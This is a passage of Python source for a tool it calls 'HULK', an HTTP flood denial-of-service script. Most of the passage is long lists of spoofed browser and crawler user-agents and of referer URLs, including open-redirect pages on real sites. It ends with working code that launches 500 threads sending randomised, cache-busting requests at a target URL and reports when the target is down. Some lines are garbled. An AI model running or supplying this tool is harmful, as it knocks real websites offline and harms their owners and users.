  3899.     headers_useragents.append('FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  3900.     headers_useragents.append('FAST-WebCrawler/3.6/FirstPage (crawler@fast.no; http://fast.no/support.php?c=faqs/crawler)')
  3901.     headers_useragents.append('FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  3902.     headers_useragents.append('FAST-WebCrawler/3.7/FirstPage (atw-crawler at fast dot no;http://fast.no/support/crawler.asp)')
  3903.     headers_useragents.append('FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  3904.     headers_useragents.append('FAST-WebCrawler/3.8/Fresh (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)')
  3905.     headers_useragents.append('FAST-WebCrawler/3.x Multimedia')
  3906.     headers_useragents.append('FAST-WebCrawler/3.x Multimedia (mm dash crawler at fast dot no)')
  3907.     headers_useragents.append('fastbot crawler beta 2.0 (+http://www.fastbot.de)')
  3908.     headers_useragents.append('FastBug http://www.ay-up.com')
  3909.     headers_useragents.append('FastCrawler 3.0.1 (crawler@1klik.dk)')
  3910.     headers_useragents.append('FastSearch Web Crawler for Verizon SuperPages (kevin.watters@fastsearch.com)')
  3911.     headers_useragents.append('Favcollector/2.0 (info@favcollector.com http://www.favcollector.com/)')
  3912.     headers_useragents.append('FavIconizer')
  3913.     headers_useragents.append('favo.eu crawler/0.6 (http://www.favo.eu)')
  3914.     headers_useragents.append('FavOrg')
  3915.     headers_useragents.append('Favorites Checking (http://campulka.net)')
  3916.     headers_useragents.append('Favorites Sweeper v.2.03')
  3917.     headers_useragents.append('Faxobot/1.0')
  3918.     headers_useragents.append('FDM 1.x')
  3919.     headers_useragents.append('FDM 2.x')
  3920.     headers_useragents.append('Feed Seeker Bot (RSS Feed Seeker http://www.MyNewFavoriteThing.com/fsb.php)')
  3921.     headers_useragents.append('Feed24.com')
  3922.     headers_useragents.append('Feed::Find/0.0x')
  3923.     headers_useragents.append('Feedable/0.1 (compatible; MSIE 6.0; Windows NT 5.1)')
  3924.     headers_useragents.append('FeedChecker/0.01')
  3925.     headers_useragents.append('FeedDemon/2.7 (http://www.newsgator.com/; Microsoft Windows XP)')
  3926.     headers_useragents.append('Feedfetcher-Google-iGoogleGadgets; (+http://www.google.com/feedfetcher.html)')
  3927.     headers_useragents.append('Feedfetcher-Google; (+http://www.google.com/feedfetcher.html)')
  3928.     headers_useragents.append('FeedForAll rss2html.php v2')
  3929.     headers_useragents.append('FeedHub FeedDiscovery/1.0 (http://www.feedhub.com)')
  3930.     headers_useragents.append('FeedHub MetaDataFetcher/1.0 (http://www.feedhub.com)')
  3931.     headers_useragents.append('Feedjit Favicon Crawler 1.0')
  3932.     headers_useragents.append('Feedreader 3.xx (Powered by Newsbrain)')
  3933.     headers_useragents.append('Feedshow/x.0 (http://www.feedshow.com; 1 subscriber)')
  3934.     headers_useragents.append('FeedshowOnline (http://www.feedshow.com)')
  3935.     headers_useragents.append('FeedZcollector v1.x (Platinum) http://www.feeds4all.com/feedzcollector')
  3936.     headers_useragents.append('Felix - Mixcat Crawler (+http://mixcat.com)')
  3937.     headers_useragents.append('fetch libfetch/2.0')
  3938.     headers_useragents.append('FFC Trap Door Spider')
  3939.     headers_useragents.append('Filangy/0.01-beta (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)')
  3940.     headers_useragents.append('Filangy/1.0x (Filangy; http://www.filangy.com/filangyinfo.jsp?inc=robots.jsp; filangy-agent@filangy.com)')
  3941.     headers_useragents.append('Filangy/1.0x (Filangy; http://www.nutch.org/docs/en/bot.html; filangy-agent@filangy.com)')
  3942.     headers_useragents.append('fileboost.net/1.0 (+http://www.fileboost.net)')
  3943.     headers_useragents.append('FileHound x.x')
  3944.     headers_useragents.append('Filtrbox/1.0')
  3945.     headers_useragents.append('FindAnISP.com_ISP_Finder_v99a')
  3946.     headers_useragents.append('Findexa Crawler (http://www.findexa.no/gulesider/article26548.ece)')
  3947.     headers_useragents.append('findlinks/x.xxx (+http://wortschatz.uni-leipzig.de/findlinks/)')
  3948.     headers_useragents.append('FineBot')
  3949.     headers_useragents.append('Finjan-prefetch')
  3950.     headers_useragents.append('Firefly/1.0')
  3951.     headers_useragents.append('Firefly/1.0 (compatible; Mozilla 4.0; MSIE 5.5)')
  3952.     headers_useragents.append('Firefox (kastaneta03@hotmail.com)')
  3953.     headers_useragents.append('Firefox_1.0.6 (kasparek@naparek.cz)')
  3954.     headers_useragents.append('FirstGov.gov Search - POC:firstgov.webmasters@gsa.gov')
  3955.     headers_useragents.append('firstsbot')
  3956.     headers_useragents.append('Flapbot/0.7.2 (Flaptor Crawler; http://www.flaptor.com; crawler at flaptor period com)')
  3957.     headers_useragents.append('FlashGet')
  3958.     headers_useragents.append('FLATARTS_FAVICO')
  3959.     headers_useragents.append('Flexum spider')
  3960.     headers_useragents.append('Flexum/2.0')
  3961.     headers_useragents.append('FlickBot 2.0 RPT-HTTPClient/0.3-3')
  3962.     headers_useragents.append('flunky')
  3963.     headers_useragents.append('fly/6.01 libwww/4.0D')
  3964.     headers_useragents.append('flyindex.net 1.0/http://www.flyindex.net')
  3965.     headers_useragents.append('FnooleBot/2.5.2 (+http://www.fnoole.com/addurl.html)')
  3966.     headers_useragents.append('FocusedSampler/1.0')
  3967.     headers_useragents.append('Folkd.com Spider/0.1 beta 1 (www.folkd.com)')
  3968.     headers_useragents.append('FollowSite Bot ( http://www.followsite.com/bot.html )')
  3969.     headers_useragents.append('FollowSite.com ( http://www.followsite.com/b.html )')
  3970.     headers_useragents.append('Fooky.com/ScorpionBot/ScoutOut; http://www.fooky.com/scorpionbots')
  3971.     headers_useragents.append('Francis/1.0 (francis@neomo.de http://www.neomo.de/)')
  3972.     headers_useragents.append('Franklin Locator 1.8')
  3973.     headers_useragents.append('free-downloads.net download-link validator /0.1')
  3974.     headers_useragents.append('FreeFind.com-SiteSearchEngine/1.0 (http://freefind.com; spiderinfo@freefind.com)')
  3975.     headers_useragents.append('Frelicbot/1.0 +http://www.frelic.com/')
  3976.     headers_useragents.append('FreshDownload/x.xx')
  3977.     headers_useragents.append('FreshNotes crawler< report problems to crawler-at-freshnotes-dot-com')
  3978.     headers_useragents.append('FSurf15a 01')
  3979.     headers_useragents.append('FTB-Bot http://www.findthebest.co.uk/')
  3980.     headers_useragents.append('Full Web Bot 0416B')
  3981.     headers_useragents.append('Full Web Bot 0516B')
  3982.     headers_useragents.append('Full Web Bot 2816B')
  3983.     headers_useragents.append('FuseBulb.Com')
  3984.     headers_useragents.append('FyberSpider (+http://www.fybersearch.com/fyberspider.php)')
  3985.     headers_useragents.append('unknownght.com Web Server IIS vs Apache Survey. See Results at www.DNSRight.com  headers_useragents.append(')
  3986.     return(headers_useragents)
  3987. # generates a referer array
  3988. def referer_list():
  3989.     global headers_referers
  3990.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  3991.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  3992.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  3993.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  3994.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  3995.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  3996.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  3997.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  3998.     headers_referers.append('http://www.google.com/?q=')
  3999.     headers_referers.append('http://yandex.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..')
  4000.     headers_referers.append('http://vk.com/profile.php?redirect=')
  4001.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  4002.     headers_referers.append('http://engadget.search.aol.com/search?q=query?=query=..')
  4003.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1?&saf..,or.r_gc.r_pw=?.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=882')
  4004.     headers_referers.append('https://www.google.ru/#hl=ru&newwindow=1&safe..,or.r_gc.r_pw.r_cp.r_qf.,cf.osb&fp=fd2cf4e896a87c19&biw=1680&bih=925')
  4005.     headers_referers.append('http://yandex.ru/yandsearch?text=')
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  4061.     headers_referers.append('http://www.google.com/?q=')
  4062.     headers_referers.append('http://www.google.com/?q=')
  4063.     headers_referers.append('http://www.google.com/?q=')
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  4423.     headers_referers.append('http://www.aspnuke.it/gotoURL.asp?url=')
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  4431.     headers_referers.append('http://resuite.upg.it/gotoURL.asp?url=')
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  4435.     headers_referers.append('http://www.deminformatica.com/gotoURL.asp?url=')
  4436.     headers_referers.append('http://www.scienzaevita.info/public/site/gotoURL.asp?url=')
  4437.     headers_referers.append('http://www.the-cure.eu/gotoURL.asp?url=')
  4438.     headers_referers.append('http://www.deminformatica.com/gotoURL.asp?url=')
  4439.     headers_referers.append('http://www.scienzaevita.info/public/site/gotoURL.asp?url=')
  4440.     headers_referers.append('http://www.idealdieta.it/gotoURL.asp?url=')
  4441.     headers_referers.append('https://www.google.pl/interstitial?url=')
  4442.     headers_referers.append('http://www.ematube.it/gotoURL.asp?url=')
  4443.     headers_referers.append('http://www.ask.com/web?q=')
  4444.     headers_referers.append('http://search.lycos.com/web/?q=')
  4445.     headers_referers.append('http://busca.uol.com.br/web/?q=')
  4446.     headers_referers.append('http://us.yhs4.search.yahoo.com/yhs/search?p=')
  4447.     headers_referers.append('http://www.dmoz.org/search/search?q=')
  4448.     headers_referers.append('http://www.baidu.com.br/s?usm=1&rn=100&wd=')
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  4450.     headers_referers.append('http://www.zhongsou.com/third?w=')
  4451.     headers_referers.append('http://hksearch.timway.com/search.php?query=')
  4452.     headers_referers.append('http://find.ezilon.com/search.php?q=')
  4453.     headers_referers.append('http://www.sogou.com/web?query=')
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  4685.     headers_referers.append('http://aff.apk4fun.com/go.php?url=')
  4686.     headers_referers.append('http://www.totalwars.ru/go.php?url=')
  4687.     headers_referers.append('http://www.fediea.org/go.php?url=')
  4688.     headers_referers.append('http://articles.pointshop.com/college/go.php?url=')
  4689.     headers_referers.append('http://mcpe.tw/go.php?url=')
  4690.     headers_referers.append('http://www.qosmo.com/go.php?url=')
  4691.     headers_referers.append('http://www.alopa.com/go.php?url=')
  4692.     headers_referers.append('http://coreychang.net/gbook/go.php?url=')
  4693.     headers_referers.append('http://www.1001topwords.com/marketing1/marketing/go.php?url=')
  4694.     headers_referers.append('http://www.bait-tackle.com/go.php?url=')
  4695.     headers_referers.append('http://monkeezemarketing.com/go.php?url=')
  4696.     headers_referers.append('http://www.lincolnhsbrooklyn.com/go.php?url=')
  4697.     headers_referers.append('http://healthwebsitebusinesses.com/demo/diabetes/go.php?url=')
  4698.     headers_referers.append('http://ww3.myonlinestats.com/go/go.php?url=')
  4699.     headers_referers.append('http://www.wmhs.com/newmobile/redirect.php?page=')
  4700.     headers_referers.append('http://www.szene-drinks.com/redirect.php?page=')
  4701.     headers_referers.append('http://www.swzundert.nl/redirect.php?page=')
  4702.     headers_referers.append('http://www.denbreems.nl/redirect.php?page=')
  4703.     headers_referers.append('http://www.flohmarkt.ch/redirect.php?page=')
  4704.     headers_referers.append('http://www.erhvervscentrum.dk/redirect.php?page=')
  4705.     headers_referers.append('http://www.netintellgames.com/redirect.php?page=')
  4706.     headers_referers.append('http://www.pia.org/IRC/qs/redirect.php?page=')
  4707.     headers_referers.append('http://www.pcpros-tx.com/php/redirect.php?page=')
  4708.     headers_referers.append('http://www.allencapital.com/redirect.php?page=')
  4709.     headers_referers.append('http://www.taosadultbasketballleague.com/redirect.php?page=')
  4710.     headers_referers.append('http://taosadultbasketball.com/redirect.php?page=')
  4711.     headers_referers.append('http://www.graphisoftus.com/redirect.php?page=')
  4712.     headers_referers.append('http://purificato.org/rawlab/redirect.php?page=')
  4713.     headers_referers.append('http://www.anglobelge.com/EN/splash-page/redirect.php?page=')
  4714.     headers_referers.append('http://tzf.free.fr/redirect.php?page=')
  4715.     headers_referers.append('http://www.tandem-club.org.uk/files/public_html/redirect.php?page=')
  4716.     headers_referers.append('http://rawlab.mindcreations.com/redirect.php?page=')
  4717.     headers_referers.append('http://www.hxtrack.com/redirect.php?page=')
  4718.     headers_referers.append('http://signaturesx.com/redirect.php?page=')
  4719.     headers_referers.append('http://www.fsds.sanmarinoscacchi.sm/gotoURL.asp?url=')
  4720.     headers_referers.append('http://www.niemannpick.org/gotoURL.asp?url=')
  4721.     headers_referers.append('http://trasparenza.atpsassari.it/gotoURL.asp?url=')
  4722.     headers_referers.append('http://www.vespaclubportogruaro.it/gotoURL.asp?url=')
  4723.     headers_referers.append('http://www.pillole.org/public/aspnuke/gotoURL.asp?url=')
  4724.     headers_referers.append('http://trasparenza.atpsassari.it/gotoURL.asp?url=')
  4725.     headers_referers.append('http://www.vespaclubportogruaro.it/gotoURL.asp?url=')
  4726.     headers_referers.append('http://www.quiere-t.net/gotoURL.asp?url=')
  4727.     headers_referers.append('http://www.pocoserio.com/gotoURL.asp?url=')
  4728.     headers_referers.append('http://win.aiafa.it/gotoURL.asp?url=')
  4729.     headers_referers.append('http://www.centromorin.it/aspnuke207/gotoURL.asp?url=')
  4730.     headers_referers.append('http://www.asim.it/public/gotoURL.asp?url=')
  4731.     headers_referers.append('http://www.straz.bialapodlaska.pl/km/gotoURL.asp?url=')
  4732.     headers_referers.append('http://www.beatote.com/gotoURL.asp?url=')
  4733.     headers_referers.append('http://www.monteargentario.it/gotoURL.asp?url=')
  4734.     headers_referers.append('http://www.trasporti.marche.it/nuke/gotoURL.asp?url=')
  4735.     headers_referers.append('http://www.elparadise.com/gotoURL.asp?url=')
  4736.     headers_referers.append('http://www.chiauci-webforum.it/gotoURL.asp?url=')
  4737.     headers_referers.append('http://www.icfpet.it/gotoURL.asp?url=')
  4738.     headers_referers.append('http://www.dgtale.it/gotoURL.asp?url=')
  4739.     headers_referers.append('http://www.aspnuke.it/gotoURL.asp?url=')
  4740.     headers_referers.append('http://www.aicritalia.org/gotoURL.asp?url=')
  4741.     headers_referers.append('http://www.viggiu-in-rete.org/newsite/gotoURL.asp?url=')
  4742.     headers_referers.append('http://www.confederazionestellareitaliana.com/portale/gotoURL.asp?url=')
  4743.     headers_referers.append('http://www.dffyw.com/dir/gotourl.asp?url=')
  4744.     headers_referers.append('http://www.mentalism.it/gotoURL.asp?url=')
  4745.     headers_referers.append('http://www.ematube.it/gotoURL.asp?url=')
  4746.     headers_referers.append('http://www.golfclubambrosiano.it/gotoURL.asp?url=')
  4747.     headers_referers.append('http://resuite.upg.it/gotoURL.asp?url=')
  4748.     headers_referers.append('http://www.cgqd.com/shop/it/gotourl.asp?url=')
  4749.     headers_referers.append('http://www.unicyclist.it/gotoURL.asp?url=')
  4750.     headers_referers.append('http://www.the-cure.eu/gotoURL.asp?url=')
  4751.     headers_referers.append('http://www.deminformatica.com/gotoURL.asp?url=')
  4752.     headers_referers.append('http://www.scienzaevita.info/public/site/gotoURL.asp?url=')
  4753.     headers_referers.append('http://www.the-cure.eu/gotoURL.asp?url=')
  4754.     headers_referers.append('http://www.deminformatica.com/gotoURL.asp?url=')
  4755.     headers_referers.append('http://www.scienzaevita.info/public/site/gotoURL.asp?url=')
  4756.     headers_referers.append('http://www.idealdieta.it/gotoURL.asp?url=')
  4757.     headers_referers.append('https://www.google.pl/interstitial?url=')
  4758.     headers_referers.append('http://www.ematube.it/gotoURL.asp?url=')
  4759.     headers_referers.append('http://' + host + '/')
  4760.     return(headers_referers)
  4761.  
  4762. def buildblock(size):
  4763.     out_str = ''
  4764.     for i in range(0, size):
  4765.         a = random.randint(65, 90)
  4766.         out_str += chr(a)
  4767.     return(out_str)
  4768.  
  4769. def usage():
  4770.     print '---------------------------------------------------'
  4771.     print 'USAGE: python hulk.py <url>'
  4772.     print 'you can add "safe" after url, to autoshut after dos'
  4773.     print '---------------------------------------------------'
  4774.  
  4775.    
  4776. #http request
  4777. def httpcall(url):
  4778.     useragent_list()
  4779.     referer_list()
  4780.     code=0
  4781.     if url.count("?")>0:
  4782.         param_joiner="&"
  4783.     else:
  4784.         param_joiner="?"
  4785.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  4786.     request.add_header('User-Agent', random.choice(headers_useragents))
  4787.     request.add_header('Cache-Control', 'no-cache')
  4788.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  4789.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  4790.     request.add_header('Keep-Alive', random.randint(110,120))
  4791.     request.add_header('Connection', 'keep-alive')
  4792.     request.add_header('Host',host)
  4793.     try:
  4794.             urllib2.urlopen(request)
  4795.     except urllib2.HTTPError, e:
  4796.             #print e.code
  4797.             set_flag(1)
  4798.             print 'Target is down!'
  4799.             code=500
  4800.     except urllib2.URLError, e:
  4801.             #print e.reason
  4802.             sys.exit()
  4803.     else:
  4804.             inc_counter()
  4805.             urllib2.urlopen(request)
  4806.     return(code)       
  4807.  
  4808.    
  4809. #http caller thread
  4810. class HTTPThread(threading.Thread):
  4811.     def run(self):
  4812.         try:
  4813.             while flag<2:
  4814.                 code=httpcall(url)
  4815.                 if (code==500) & (safe==1):
  4816.                     set_flag(2)
  4817.         except Exception, ex:
  4818.             pass
  4819.  
  4820. # monitors http threads and counts requests
  4821. class MonitorThread(threading.Thread):
  4822.     def run(self):
  4823.         previous=request_counter
  4824.         while flag==0:
  4825.             if (previous+100<request_counter) & (previous<>request_counter):
  4826.                 print "%d Requests Sent" % (request_counter)
  4827.                 previous=request_counter
  4828.         if flag==2:
  4829.             print "\n-- Botnet started! --"
  4830.  
  4831. #execute
  4832. if len(sys.argv) < 2:
  4833.     usage()
  4834.     sys.exit()
  4835. else:
  4836.     if sys.argv[1]=="help":
  4837.         usage()
  4838.         sys.exit()
  4839.     else:
  4840.         print "-- HULK Attack Started --"
  4841.         if len(sys.argv)== 3:
  4842.             if sys.argv[2]=="safe":
  4843.                 set_safe()
  4844.         url = sys.argv[1]
  4845.         if url.count("/")==2:
  4846.             url = url + "/"
  4847.         m = re.search('http\://([^/]*)/?.*', url)
  4848.         host = m.group(1)
  4849.         for i in range(500):
  4850.             t = HTTPThread()
  4851.             t.start()
  4852.         t = MonitorThread()
  4853.         t.start()
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